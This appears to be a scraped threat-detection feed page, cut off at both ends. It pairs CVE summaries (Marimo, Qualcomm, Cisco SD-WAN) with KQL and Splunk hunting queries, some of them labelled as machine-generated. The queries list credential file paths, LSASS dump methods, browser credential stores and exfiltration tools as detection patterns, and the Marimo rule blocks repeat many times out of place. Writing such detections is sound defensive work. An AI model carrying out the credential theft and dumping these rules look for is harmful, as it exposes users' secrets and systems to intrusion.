| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-034 use cases0 techniques3 kill-chain phases detected
Multiple Qualcomm chipsets contain a memory corruption vulnerability while using alignments for memory allocation. Vendor: Qualcomm, Product: Multiple Chipsets. Federal patch due: 2026-03-24.
CVEsCVE-2026-21385
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-21385")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-21385")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-274 use cases3 techniques2 kill-chain phases detected
Start using a new app and you’ll often be asked to grant it permissions. But blindly accepting them could expose you to serious privacy and security risks.
ATT&CKT1190T1486T1555.003
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-02-254 use cases0 techniques3 kill-chain phases detected
Cisco SD-WAN CLI contains a path traversal vulnerability that could allow an authenticated local attacker to gain elevated privileges via improper access controls on commands within the application CLI. A successful exploit could allow the attacker to execute arbitrary commands as the root user. Vendor: Cisco, Product: SD-WAN. Federal patch due: 2026-02-27.
CVEsCVE-2022-20775
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2022-20775")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2022-20775")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-254 use cases0 techniques3 kill-chain phases detected
Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, contain an authentication bypass vulnerability could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system. This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to an affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric. Vendor: Cisco, Product: Catalyst SD-WAN Controller and Manager. Federal patch due: 2026-02-27.
CVEsCVE-2026-20127
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-20127")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-20127")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
